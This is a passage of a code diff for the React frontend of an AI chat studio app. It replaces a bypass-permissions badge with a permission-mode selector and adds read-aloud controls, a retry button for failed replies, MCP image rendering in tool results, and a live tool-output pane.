 import { RagSourcesGroup } from "@/components/assistant-ui/rag-sources";
@@ -75,6 +79,7 @@ import { McpComposerButton } from "@/features/chat/mcp-composer-button";
 import { getExternalReasoningCapabilities } from "@/features/chat/provider-capabilities";
 import { useRagToolDisabled } from "@/features/chat/hooks/use-rag-tool-disabled";
 import { BypassPermissionsMenuItem } from "@/features/chat/bypass-permissions-menu-item";
+import { PermissionModeComposerPill } from "@/features/chat/permission-mode-select";
 import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import { useExternalProvidersStore } from "@/features/chat/stores/external-providers-store";
 import { PROMPT_QUEUE_STOP_EVENT } from "@/features/chat/utils/prompt-queue-boundary";
@@ -92,9 +97,11 @@ import { ThreadDocumentsBar } from "@/features/rag/components/thread-documents-b
 import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button";
 import { DocumentPreviewMount } from "@/features/rag/components/document-preview-mount";
 import { useUserProfileStore } from "@/features/profile/stores/user-profile-store";
+import { useVoiceSettingsStore } from "@/features/settings/stores/voice-settings-store";
 import { applyQwenThinkingParams } from "@/features/chat/utils/qwen-params";
 import { isTauri } from "@/lib/api-base";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { MicIcon } from "@/lib/mic-icon";
 import { toast } from "@/lib/toast";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
@@ -123,10 +130,10 @@ import {
   FileDatabaseIcon,
   Folder01Icon,
   FolderAddIcon,
+  HelpCircleIcon,
   Image03Icon,
   McpServerIcon,
   PencilRulerIcon,
-  ShieldBanIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate } from "@tanstack/react-router";
@@ -145,6 +152,8 @@ import {
   RefreshCwIcon,
   SquareIcon,
   TerminalIcon,
+  Volume2Icon,
+  VolumeXIcon,
   XIcon,
 } from "lucide-react";
 import {
@@ -1212,7 +1221,7 @@ const ThreadComposerDock: FC<{
       <div
         aria-hidden={true}
         className={cn(
-          "absolute inset-x-0 bottom-0 bg-gradient-to-t from-background from-[calc(100%_-_28px)] to-[rgb(from_var(--background)_r_g_b/0)]",
+          "thread-bottom-fade absolute inset-x-0 bottom-0 bg-gradient-to-t from-background from-[calc(100%_-_28px)] to-[rgb(from_var(--background)_r_g_b/0)]",
           queueVisible
             ? "h-32 backdrop-blur-[1px] [mask-image:linear-gradient(to_top,black_0%,black_58%,transparent_100%)]"
             : "top-[10px]",
@@ -1312,11 +1321,14 @@ const ThreadWelcome: FC<{
   const incognito = useChatRuntimeStore((s) => s.incognito);
   const displayName = useUserProfileStore((s) => s.displayName);
   const nickname = useUserProfileStore((s) => s.nickname);
+  const showGreetingSloth = useUserProfileStore((s) => s.showGreetingSloth);
   const [welcome, setWelcome] = useState<Welcome>(DEFAULT_WELCOME);
 
   useEffect(() => {
     // Prefer the nickname; otherwise first name only. Blank falls back to none.
-    const name = nickname.trim() || (displayName.trim().split(/\s+/)[0] ?? "");
+    const raw = nickname.trim() || (displayName.trim().split(/\s+/)[0] ?? "");
+    // Cap very long names so the greeting stays on one line.
+    const name = raw.length > 20 ? `${raw.slice(0, 20)}…` : raw;
     setWelcome(buildWelcome(new Date().getHours(), name));
   }, [displayName, nickname]);
 
@@ -1328,10 +1340,12 @@ const ThreadWelcome: FC<{
         <div className="aui-thread-welcome-message flex w-full flex-col justify-center gap-9 px-4">
           {/* Center the greeting (sloth + title) over the composer. */}
           <div className="flex flex-row items-center justify-center gap-[15px]">
-            <MascotImg
-              src={currentEmojiSrc}
-              className="size-[44px] -translate-y-[2px]"
-            />
+            {showGreetingSloth && (
+              <MascotImg
+                src={currentEmojiSrc}
+                className="size-[44px] -translate-y-[2px]"
+              />
+            )}
             <h1 className="aui-thread-welcome-message-inner unsloth-welcome-title fade-in slide-in-from-bottom-1 animate-in text-3xl tracking-[-0.02em] duration-200">
               {incognito ? "Temporary chat" : welcome.text}
             </h1>
@@ -1420,11 +1434,13 @@ const Composer: FC<{
   const artifactsEnabled = useChatRuntimeStore((s) => s.artifactsEnabled);
   const mcpEnabledForChat = useChatRuntimeStore((s) => s.mcpEnabledForChat);
   const ragEnabled = useChatRuntimeStore((s) => s.ragEnabled);
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  // More than 4 pills: collapse to icons only. Search and Code always show;
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+  // More than 4 pills: collapse to icons only. Search and Code always show; the
+  // permission pill shows in every mode except "off" (it renders null there);
   // Images, RAG, Canvas and MCP are conditional.
   const pillsCompact =
     2 +
+      (permissionMode !== "off" ? 1 : 0) +
       (ragEnabled ? 1 : 0) +
       (supportsBuiltinImageGeneration ? 1 : 0) +
       (artifactsEnabled ? 1 : 0) +
@@ -1542,8 +1558,7 @@ const Composer: FC<{
   }, [composerText, draftKey]);
   // Two-row layout shows once the input wraps or a tool is on. Tools can
   // pre-select before a model loads, so an active toggle expands it either way.
-  // Bypass permissions counts too: turning it on should drop the composer into
-  // the two-row layout immediately, same as Search/Code.
+  // Keep the composer expanded whenever the permission pill is visible.
   const composerExpanded =
     isMultiline ||
     hasAttachments ||
@@ -1554,7 +1569,7 @@ const Composer: FC<{
     ragEnabled ||
     artifactsEnabled ||
     mcpEnabledForChat ||
-    bypassPermissions;
+    permissionMode !== "off";
   // react-textarea-autosize re-measures only on value change or window resize,
   // not on the width swap from expanding, so it keeps the taller height and
   // leaves a stray blank row. Nudge a resize whenever input width changes.
@@ -1848,9 +1863,9 @@ const Composer: FC<{
           data-pill-compact={pillsCompact ? "true" : undefined}
         >
           <ComposerToolsMenu side={effectiveMenuSide} />
-          {/* Active-mode badge: always visible when bypass is on, even while
-              the pill row is collapsed (returns null when off). */}
-          <BypassPermissionsToggle />
+          {/* Permission-level pill: always visible, even while the pill row
+              is collapsed; opens the permission level dropdown. */}
+          <PermissionModeComposerPill side={effectiveMenuSide} />
           {composerExpanded ? (
             <>
               <WebSearchToggle />
@@ -2107,19 +2122,6 @@ function useImeComposerInputHandlers({
   };
 }
 
-// Phosphor microphone. Inlined to avoid a new icon dependency.
-const MicIcon: FC<{ className?: string }> = ({ className }) => (
-  <svg
-    className={className}
-    viewBox="0 0 256 256"
-    fill="currentColor"
-    xmlns="http://www.w3.org/2000/svg"
-    aria-hidden={true}
-  >
-    <path d="M128,176a48.05,48.05,0,0,0,48-48V64a48,48,0,0,0-96,0v64A48.05,48.05,0,0,0,128,176ZM96,64a32,32,0,0,1,64,0v64a32,32,0,0,1-64,0Zm40,143.6V232a8,8,0,0,1-16,0V207.6A80.11,80.11,0,0,1,48,128a8,8,0,0,1,16,0,64,64,0,0,0,128,0,8,8,0,0,1,16,0A80.11,80.11,0,0,1,136,207.6Z" />
-  </svg>
-);
-
 // HugeIcons arrow-down-01 (stroke-standard): straight-line chevron.
 const ArrowDownStandardIcon: FC<{ className?: string }> = ({ className }) => (
   <svg
@@ -2270,6 +2272,7 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
             type="button"
             disabled={disabled}
             className="unsloth-thinking-pill"
+            data-pill-label="Thinking settings"
             data-active={activeLook ? "true" : "false"}
             aria-label={thinkEffortAriaLabel({
               modelLoaded,
@@ -2279,9 +2282,11 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
           >
             <ThinkIcon />
             {activeLook ? (
-              <span>{isEffort ? `Thinking · ${effortLabel}` : "Thinking"}</span>
+              <span className="unsloth-thinking-label">
+                {isEffort ? `Thinking · ${effortLabel}` : "Thinking"}
+              </span>
             ) : null}
-            <ArrowDownStandardIcon className="size-[15px]" />
+            <ArrowDownStandardIcon className="unsloth-thinking-caret size-[15px]" />
           </button>
         </DropdownMenuTrigger>
         <DropdownMenuContent
@@ -2313,7 +2318,13 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
                 </DropdownMenuItem>
               )}
               {effectiveReasoningEffortLevels
-                .filter((level) => level !== "none")
+                // 'none' is a real template level for models like Inkling
+                // (effort 0 = thinking off); show it as a pick unless the
+                // dedicated off item above already covers it.
+                .filter(
+                  (level) =>
+                    level !== "none" || !effectiveSupportsReasoningOff,
+                )
                 .map((level) => (
                   <DropdownMenuItem
                     key={level}
@@ -2421,6 +2432,7 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
         }
       }}
       className="unsloth-thinking-pill"
+      data-pill-label="Thinking"
       data-active={activeLook ? "true" : "false"}
       aria-label={thinkToggleAriaLabel({
         reasoningLockedOn,
@@ -2432,7 +2444,9 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
       <PillGlyph>
         <ThinkIcon />
       </PillGlyph>
-      {activeLook ? <span>Thinking</span> : null}
+      {activeLook ? (
+        <span className="unsloth-thinking-label">Thinking</span>
+      ) : null}
     </button>
   );
 };
@@ -2612,36 +2626,6 @@ const ArtifactsToggle: FC = () => {
   );
 };
 
-// Claude gold pill shown while Bypass permissions is on; click to turn it off.
-// Mirror of shared-composer's badge so both composers surface the state.
-const BypassPermissionsToggle: FC = () => {
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
-  if (!bypassPermissions) return null;
-  return (
-    <button
-      type="button"
-      onClick={() => setBypassPermissions(false)}
-      className="composer-pill-btn"
-      data-active="true"
-      data-variant="danger"
-      aria-label="Disable Bypass permissions"
-      title="Bypass permissions is on (no confirmation, no sandbox). Click to turn off."
-    >
-      <PillGlyph>
-        <HugeiconsIcon
-          icon={ShieldBanIcon}
-          strokeWidth={2}
-          className="size-[15px]"
-        />
-      </PillGlyph>
-      <span>Bypass permissions</span>
-    </button>
-  );
-};
-
 const ToolStatusDisplay: FC = () => {
   const toolStatus = useChatRuntimeStore((s) => s.toolStatus);
   const isThreadRunning = useAuiState(({ thread }) => thread.isRunning);
@@ -2725,6 +2709,7 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
   const setCodeToolsEnabled = useChatRuntimeStore((s) => s.setCodeToolsEnabled);
   const artifactsEnabled = useChatRuntimeStore((s) => s.artifactsEnabled);
   const setArtifactsEnabled = useChatRuntimeStore((s) => s.setArtifactsEnabled);
+  const showCanvasMenuItem = useChatRuntimeStore((s) => s.showCanvasMenuItem);
   const mcpEnabledForChat = useChatRuntimeStore((s) => s.mcpEnabledForChat);
   const setMcpEnabledForChat = useChatRuntimeStore(
     (s) => s.setMcpEnabledForChat,
@@ -2975,7 +2960,8 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
         </DropdownMenuSubContent>
       </DropdownMenuSub>
     ),
-    canvas: (
+    // Hidden by default; enabled from Settings > Chat > Canvas.
+    canvas: showCanvasMenuItem ? (
       <DropdownMenuItem
         className={artifactsEnabled ? "text-primary font-medium" : undefined}
         onSelect={() => setArtifactsEnabled(!artifactsEnabled)}
@@ -2986,7 +2972,7 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
           <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
         ) : null}
       </DropdownMenuItem>
-    ),
+    ) : null,
     bypassPermissions: <BypassPermissionsMenuItem />,
     projects: (
       <DropdownMenuSub>
@@ -3278,7 +3264,7 @@ const PromptQueueStack: FC<{ queueThreadIds: string[] }> = ({
                         cancelEditing();
                       }
                     }}
-                    className="max-h-20 min-h-8 min-w-0 resize-none rounded-md border border-border/45 bg-transparent px-2 py-1.5 text-sm leading-5 text-foreground outline-none transition-colors focus-visible:border-ring focus-visible:ring-2 focus-visible:ring-ring/35"
+                    className="max-h-20 min-h-8 min-w-0 resize-none rounded-md border border-border/45 bg-transparent px-2 py-1.5 text-sm leading-5 text-foreground outline-none transition-colors focus-visible:border-ring"
                     aria-label={`Edit queued prompt ${visiblePosition}`}
                   />
                   <Button
@@ -3472,8 +3458,18 @@ const ComposerRightControls: FC<{
 const MessageError: FC = () => {
   return (
     <MessagePrimitive.Error>
-      <ErrorPrimitive.Root className="aui-message-error-root mt-2 rounded-md bg-destructive/10 p-3 text-destructive text-sm dark:bg-destructive/5 dark:text-red-200">
-        <ErrorPrimitive.Message className="aui-message-error-message line-clamp-2" />
+      <ErrorPrimitive.Root className="aui-message-error-root mt-2 flex flex-wrap items-center gap-x-3 gap-y-2 rounded-md bg-destructive/10 p-3 text-destructive text-sm dark:bg-destructive/5 dark:text-red-200">
+        <ErrorPrimitive.Message className="aui-message-error-message line-clamp-2 min-w-0 flex-1" />
+        {/* Recovery path for interrupted/failed turns: regenerate in place. */}
+        <ActionBarPrimitive.Reload asChild={true}>
+          <button
+            type="button"
+            className="aui-message-error-retry inline-flex shrink-0 items-center gap-1.5 rounded-md border border-destructive/40 px-2.5 py-1 text-xs font-medium transition-colors hover:bg-destructive/15"
+          >
+            <RefreshCwIcon strokeWidth={1.75} className="size-3.5" />
+            Retry
+          </button>
+        </ActionBarPrimitive.Reload>
       </ErrorPrimitive.Root>
     </MessagePrimitive.Error>
   );
@@ -3620,7 +3616,7 @@ const AssistantMessage: FC = () => {
 
   return (
     <MessagePrimitive.Root
-      className="aui-assistant-message-root relative mx-auto min-w-0 w-full max-w-(--thread-content-max-width) pt-0.5 pb-4 text-[15.5px] [font-weight:410] tracking-[0.01em] dark:tracking-[0.02em]"
+      className="group/assistant-message aui-assistant-message-root relative mx-auto min-w-0 w-full max-w-(--thread-content-max-width) pt-0.5 pb-4 text-[15.5px] [font-weight:410] tracking-[0.01em] dark:tracking-[0.02em]"
       data-role="assistant"
     >
       <div className="aui-assistant-message-content wrap-break-word min-w-0 text-[#0d0d0d] dark:text-foreground leading-relaxed">
@@ -3629,7 +3625,7 @@ const AssistantMessage: FC = () => {
             <textarea
               ref={textareaRef}
               defaultValue={extractTaggedText(messageContent)}
-              className="w-full p-3 rounded-xl bg-muted border border-border text-foreground focus:ring-2 focus:ring-primary outline-none overflow-y-auto resize-none font-mono text-sm max-h-[70vh]"
+              className="w-full p-3 rounded-xl bg-muted border border-border text-foreground focus:ring-1 focus:ring-ring outline-none overflow-y-auto resize-none font-mono text-sm max-h-[70vh]"
               autoFocus
               onInput={adjustHeight}
               onKeyDown={(e) => {
@@ -3649,6 +3645,9 @@ const AssistantMessage: FC = () => {
           </div>
         ) : (
           <>
+            <div className="pointer-events-none relative h-0 min-w-0">
+              <MessageResponseModelBadge className="absolute -top-6 left-0 max-w-[min(22rem,100%)]" />
+            </div>
             <GeneratingIndicator />
             <CancelledIndicator />
             <DiffusionCanvas />
@@ -3808,8 +3807,33 @@ const DeleteMessageButton: FC = () => {
   const isRunning = useAuiState(({ thread }) => thread.isRunning);
 
   const handleDelete = async () => {
-    const remoteId = aui.threadListItem().getState().remoteId;
     const thread = aui.thread();
+    // Deleting a message, and for a user prompt its cascaded assistant replies,
+    // unmounts their only Stop reading control. Stop read-aloud first when the
+    // spoken message is among those removed. Read speech state at click time and
+    // guard the call, which throws if playback already ended.
+    const speakingId = thread.getState().speech?.messageId;
+    if (speakingId) {
+      const { messages } = thread.export();
+      const target = messages.find(({ message }) => message.id === messageId);
+      const removed = new Set<string>([messageId]);
+      if (target?.message.role === "user") {
+        for (const { parentId, message } of messages) {
+          if (parentId === messageId && message.role === "assistant") {
+            removed.add(message.id);
+          }
+        }
+      }
+      if (removed.has(speakingId)) {
+        try {
+          thread.stopSpeaking();
+        } catch {
+          // Playback ended between reading the state and stopping it.
+        }
+      }
+    }
+
+    const remoteId = aui.threadListItem().getState().remoteId;
     try {
       await deleteThreadMessage({
         thread: {
@@ -3893,58 +3917,102 @@ const EditAssistantMessageButton: FC = () => {
 
 const AssistantActionBar: FC = () => {
   const { forkMessage, forkDisabled } = useForkMessageAction();
+  const [detailsOpen, setDetailsOpen] = useState(false);
+  const ttsEnabled = useVoiceSettingsStore((s) => s.ttsEnabled);
+  // hideWhenRunning is thread-level, so a new run would hide this bar and its
+  // only Stop reading control while read-aloud keeps playing; keep it shown.
+  const speaking = useAuiState(({ message }) => message.speech != null);
 
   return (
-    <ActionBarPrimitive.Root
-      hideWhenRunning={true}
-      className="aui-assistant-action-bar-root col-start-3 row-start-2 flex items-center gap-1 text-chat-icon-fg [&_button:not([data-slot=message-timing-trigger])]:size-8 [&_button]:!rounded-full [&_button:hover]:bg-chat-icon-bg-hover [&_button:hover]:text-chat-icon-fg-hover"
-    >
-      <CopyButton />
-      <EditAssistantMessageButton />
-      <ActionBarPrimitive.Reload asChild={true}>
-        <TooltipIconButton tooltip="Refresh">
-          <RefreshCwIcon strokeWidth={1.75} className="size-icon" />
-        </TooltipIconButton>
-      </ActionBarPrimitive.Reload>
-      <ForkCountBadge />
-      <DeleteMessageButton />
-      <ActionBarMorePrimitive.Root>
-        <ActionBarMorePrimitive.Trigger asChild={true}>
-          <TooltipIconButton
-            tooltip="More"
-            className="data-[state=open]:bg-accent"
-          >
-            <MoreHorizontalIcon strokeWidth={1.75} className="size-icon" />
+    <>
+      <ActionBarPrimitive.Root
+        hideWhenRunning={!speaking}
+        className="aui-assistant-action-bar-root col-start-3 row-start-2 flex items-center gap-1 text-chat-icon-fg [&_button:not([data-slot=message-timing-trigger])]:size-8 [&_button]:!rounded-full [&_button:hover]:bg-chat-icon-bg-hover [&_button:hover]:text-chat-icon-fg-hover"
+      >
+        <CopyButton />
+        <EditAssistantMessageButton />
+        <ActionBarPrimitive.Reload asChild={true}>
+          <TooltipIconButton tooltip="Refresh">
+            <RefreshCwIcon strokeWidth={1.75} className="size-icon" />
           </TooltipIconButton>
-        </ActionBarMorePrimitive.Trigger>
-        <ActionBarMorePrimitive.Content
-          side="bottom"
-          align="start"
-          onCloseAutoFocus={(e) => e.preventDefault()}
-          className="aui-action-bar-more-content z-50 min-w-32 overflow-hidden rounded-[21px] bg-popover px-[9px] py-2 text-popover-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:shadow-none"
-        >
-          <ActionBarMorePrimitive.Item
-            disabled={forkDisabled}
-            onSelect={() => void forkMessage()}
-            className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50"
+        </ActionBarPrimitive.Reload>
+        <ForkCountBadge />
+        <DeleteMessageButton />
+        {ttsEnabled && (
+          <MessagePrimitive.If speaking={false}>
+            <ActionBarPrimitive.Speak asChild={true}>
+              <TooltipIconButton tooltip="Read aloud" aria-label="Read aloud">
+                <Volume2Icon strokeWidth={1.75} className="size-icon" />
+              </TooltipIconButton>
+            </ActionBarPrimitive.Speak>
+          </MessagePrimitive.If>
+        )}
+        {/* Not gated on ttsEnabled: turning the setting off while a message
+            is being read aloud must not remove the only stop control. */}
+        <MessagePrimitive.If speaking={true}>
+          <ActionBarPrimitive.StopSpeaking asChild={true}>
+            <TooltipIconButton
+              tooltip="Stop reading"
+              aria-label="Stop reading"
+              className="text-destructive"
+            >
+              <VolumeXIcon strokeWidth={1.75} className="size-icon" />
+            </TooltipIconButton>
+          </ActionBarPrimitive.StopSpeaking>
+        </MessagePrimitive.If>
+        <ActionBarMorePrimitive.Root>
+          <ActionBarMorePrimitive.Trigger asChild={true}>
+            <TooltipIconButton
+              tooltip="More"
+              className="data-[state=open]:bg-accent"
+            >
+              <MoreHorizontalIcon strokeWidth={1.75} className="size-icon" />
+            </TooltipIconButton>
+          </ActionBarMorePrimitive.Trigger>
+          <ActionBarMorePrimitive.Content
+            side="bottom"
+            align="start"
+            onCloseAutoFocus={(e) => e.preventDefault()}
+            className="aui-action-bar-more-content z-50 min-w-32 overflow-hidden rounded-[21px] bg-popover px-[9px] py-2 text-popover-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:shadow-none"
           >
-            <GitBranchIcon strokeWidth={1.75} className="size-icon" />
-            Fork in new chat
-          </ActionBarMorePrimitive.Item>
-          <ActionBarPrimitive.ExportMarkdown asChild={true}>
-            <ActionBarMorePrimitive.Item className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground">
+            <ActionBarMorePrimitive.Item
+              disabled={forkDisabled}
+              onSelect={() => void forkMessage()}
+              className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50"
+            >
+              <GitBranchIcon strokeWidth={1.75} className="size-icon" />
+              Fork in new chat
+            </ActionBarMorePrimitive.Item>
+            <ActionBarPrimitive.ExportMarkdown asChild={true}>
+              <ActionBarMorePrimitive.Item className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground">
+                <HugeiconsIcon
+                  icon={Download01Icon}
+                  strokeWidth={1.75}
+                  className="size-icon"
+                />
+                Export as markdown
+              </ActionBarMorePrimitive.Item>
+            </ActionBarPrimitive.ExportMarkdown>
+            <ActionBarMorePrimitive.Item
+              onSelect={() => setDetailsOpen(true)}
+              className="aui-action-bar-more-item flex cursor-pointer select-none items-center gap-2 rounded-[12px] px-3 py-2 text-sm outline-none hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground"
+            >
               <HugeiconsIcon
-                icon={Download01Icon}
+                icon={HelpCircleIcon}
                 strokeWidth={1.75}
                 className="size-icon"
               />
-              Export as Markdown
+              See response details
             </ActionBarMorePrimitive.Item>
-          </ActionBarPrimitive.ExportMarkdown>
-        </ActionBarMorePrimitive.Content>
-      </ActionBarMorePrimitive.Root>
-      <MessageTiming side="top" className="h-8 px-2" />
-    </ActionBarPrimitive.Root>
+          </ActionBarMorePrimitive.Content>
+        </ActionBarMorePrimitive.Root>
+        <MessageTiming side="top" className="h-8 px-2" />
+      </ActionBarPrimitive.Root>
+      <MessageResponseDetailsSheet
+        open={detailsOpen}
+        onOpenChange={setDetailsOpen}
+      />
+    </>
   );
 };
 
@@ -3975,7 +4043,7 @@ const UserMessage: FC = () => {
       <UserMessageAudio />
 
       <div className="aui-user-message-content-wrapper flex max-w-[80%] min-w-0 flex-col items-end">
-        <div className="aui-user-message-content wrap-break-word w-fit rounded-[24px] bg-[#f5f5f5] px-4 py-2.5 text-[#0d0d0d] dark:text-foreground dark:bg-card">
+        <div className="aui-user-message-content wrap-break-word w-fit max-w-full rounded-[24px] bg-[#f5f5f5] px-4 py-2.5 text-[#0d0d0d] dark:text-foreground dark:bg-card">
           <MessagePrimitive.Parts />
         </div>
         <div className="mt-1 -mr-[var(--icon-btn-inset)] flex min-h-8 items-center">
diff --git a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
index 20a22c3a4a..d0bc12706e 100644
--- a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
@@ -260,6 +260,30 @@ function ToolFallbackArgs({
   );
 }
 
+interface McpImageResult {
+  text: string;
+  images: { data: string; mimeType: string }[];
+}
+
+function isMcpImageResult(val: unknown): val is McpImageResult {
+  if (typeof val !== "object" || val === null) {
+    return false;
+  }
+  const v = val as { text?: unknown; images?: unknown };
+  return (
+    typeof v.text === "string" &&
+    Array.isArray(v.images) &&
+    v.images.length > 0 &&
+    v.images.every(
+      (img: unknown) =>
+        typeof img === "object" &&
+        img !== null &&
+        typeof (img as { data?: unknown }).data === "string" &&
+        typeof (img as { mimeType?: unknown }).mimeType === "string",
+    )
+  );
+}
+
 function ToolFallbackResult({
   result,
   className,
@@ -271,6 +295,8 @@ function ToolFallbackResult({
     return null;
   }
 
+  const imageResult = isMcpImageResult(result) ? result : null;
+
   return (
     <div
       data-slot="tool-fallback-result"
@@ -278,9 +304,30 @@ function ToolFallbackResult({
       {...props}
     >
       <p className="aui-tool-fallback-result-header font-semibold">Result:</p>
-      <pre className="aui-tool-fallback-result-content whitespace-pre-wrap">
-        {typeof result === "string" ? result : JSON.stringify(result, null, 2)}
-      </pre>
+      {imageResult ? (
+        <>
+          {imageResult.text && (
+            <pre className="aui-tool-fallback-result-content whitespace-pre-wrap">
+              {imageResult.text}
+            </pre>
+          )}
+          <div className="mt-2 flex flex-col gap-2">
+            {imageResult.images.map((img, i) => (
+              <img
+                key={i}
+                src={`data:${img.mimeType};base64,${img.data}`}
+                alt={`Tool result ${i + 1}`}
+                loading="lazy"
+                className="max-w-full rounded border border-border"
+              />
+            ))}
+          </div>
+        </>
+      ) : (
+        <pre className="aui-tool-fallback-result-content whitespace-pre-wrap">
+          {typeof result === "string" ? result : JSON.stringify(result, null, 2)}
+        </pre>
+      )}
     </div>
   );
 }
diff --git a/studio/frontend/src/components/assistant-ui/tool-group.tsx b/studio/frontend/src/components/assistant-ui/tool-group.tsx
index 74b5e02381..469c449a70 100644
--- a/studio/frontend/src/components/assistant-ui/tool-group.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-group.tsx
@@ -10,6 +10,7 @@ import {
 } from "react";
 import { useAuiState } from "@assistant-ui/react";
 import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import { toolOutputKey, useToolPaneScope } from "@/features/chat";
 import { ChevronDownIcon } from "lucide-react";
 import { Wrench01Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -235,13 +236,29 @@ const ToolGroupImpl: FC<
   const messageRunning = useAuiState(
     ({ message }) => message.status?.type === "running",
   );
-  // Keep the group open once a confirmation forced it open, so answering an
-  // allow/deny doesn't snap it shut between sequential tool calls. It reverts
-  // to the default collapsed state once the turn finishes.
+  // Force the group open when any call is receiving tool_output events.
+  const toolLiveOutput = useChatRuntimeStore((s) => s.toolLiveOutput);
+  const paneScope = useToolPaneScope();
+  const hasLiveOutput = useAuiState(({ message }) =>
+    message.parts
+      .slice(startIndex, endIndex + 1)
+      .some(
+        (part) =>
+          part.type === "tool-call" &&
+          Object.prototype.hasOwnProperty.call(
+            toolLiveOutput,
+            toolOutputKey(paneScope, part.toolCallId),
+          ),
+      ),
+  );
+  // Keep the group open once a confirmation or live output forced it (so an
+  // allow/deny doesn't snap it shut between calls); reverts once the turn ends.
   const forcedOpenRef = useRef(false);
-  if (hasPendingConfirmation) forcedOpenRef.current = true;
+  if (hasPendingConfirmation || hasLiveOutput) forcedOpenRef.current = true;
   const forceOpen =
-    hasPendingConfirmation || (forcedOpenRef.current && messageRunning);
+    hasPendingConfirmation ||
+    (hasLiveOutput && messageRunning) ||
+    (forcedOpenRef.current && messageRunning);
 
   // Render single tool calls and canvases directly so cards never hide in a
   // collapsed group.
diff --git a/studio/frontend/src/components/assistant-ui/tool-live-output.tsx b/studio/frontend/src/components/assistant-ui/tool-live-output.tsx
new file mode 100644
index 0000000000..3434783f0a
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/tool-live-output.tsx
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"use client";
+
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import { toolOutputKey, useToolPaneScope } from "@/features/chat";
+import { useEffect, useMemo, useRef } from "react";
+import { tailText } from "./tool-result-output";
+
+/**
+ * Live-scrolling stdout/stderr pane for a running server-side tool, backed by
+ * the transient `toolLiveOutput` map fed by `tool_output` SSE events. Renders
+ * nothing until the first chunk, then follows the tail. Mounted only while
+ * running; the finished card shows the persisted result instead.
+ */
+export function ToolLiveOutput({ toolCallId }: { toolCallId: string }) {
+  const paneScope = useToolPaneScope();
+  const output = useChatRuntimeStore(
+    (s) => s.toolLiveOutput[toolOutputKey(paneScope, toolCallId)] ?? "",
+  );
+  const scrollRef = useRef<HTMLPreElement>(null);
+  // Pinned to the bottom until the user scrolls up (handler below), so
+  // streaming chunks no longer yank them down.
+  const pinnedToBottom = useRef(true);
+
+  // The stream can reach hundreds of KB; render only the tail while live.
+  const visible = useMemo(() => tailText(output).visible, [output]);
+
+  const handleScroll = () => {
+    const el = scrollRef.current;
+    if (!el) {
+      return;
+    }
+    // Within 40px of the bottom counts as pinned (tolerates small nudges).
+    pinnedToBottom.current =
+      el.scrollHeight - el.scrollTop - el.clientHeight < 40;
+  };
+
+  useEffect(() => {
+    const el = scrollRef.current;
+    if (el && pinnedToBottom.current) {
+      el.scrollTop = el.scrollHeight;
+    }
+  }, [visible]);
+
+  if (!output) {
+    return null;
+  }
+
+  return (
+    <div className="aui-tool-live-output mt-2 border-t border-dashed pt-2">
+      <span className="text-xs font-medium text-muted-foreground">output</span>
+      <pre
+        ref={scrollRef}
+        onScroll={handleScroll}
+        className="mt-1 max-h-60 overflow-auto whitespace-pre-wrap break-words font-mono text-xs"
+      >
+        {visible}
+      </pre>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/tool-result-output.tsx b/studio/frontend/src/components/assistant-ui/tool-result-output.tsx
new file mode 100644
index 0000000000..45f72ed96c
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/tool-result-output.tsx
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"use client";
+
+import { useMemo, useState } from "react";
+
